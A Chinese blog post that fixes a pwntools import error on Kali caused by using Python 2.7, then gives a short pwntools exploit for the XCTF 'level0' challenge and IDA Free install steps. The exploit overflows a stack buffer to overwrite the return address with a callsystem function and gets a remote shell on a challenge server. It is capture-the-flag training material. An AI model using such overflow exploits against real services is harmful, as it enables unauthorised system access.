攻防世界level0解决kali上的ImportError: No module named pwn

 如图,找不到pwn包

又安装一遍pwn

还是不行,后来发现这些包在python3.9和python3里

就看了看现在使用的python版本

果然不是python3,而是python2.7.18

于是试试用python3,就成功了

 

ps:本题是为了解决攻防世界的pwn方向的level0 ,level.py如下

# encoding: utf-8 #解决报错SyntaxError: Non-ASCII character '\xe6' 
from pwn import *
#io=process('./291721f42a044f50a2aead748d539df0') #本地测试
io = remote('111.200.241.244', 65224)  # 远程连接
# callsystem()函数地址
callsystem = 0x400596
# 栈溢出漏洞 首先用0x88个字符填充 然后写入callsystem函数地址
payload = b'a' * 0x80 + b'a' * 0x8 + p64(callsystem)
io.send(payload)
io.interactive()

附kali上 IDA安装及方法: 

1、在官网下载Linux安装包https://hex-rays.com/ida-free/#download

2、运行.run文件,按提示步骤安装完成

chmod +x ...
./...

3、在/opt/idafree-7.6中执行./ida64

 

 

 

 


版权声明:本文为xidianwuyanzu原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。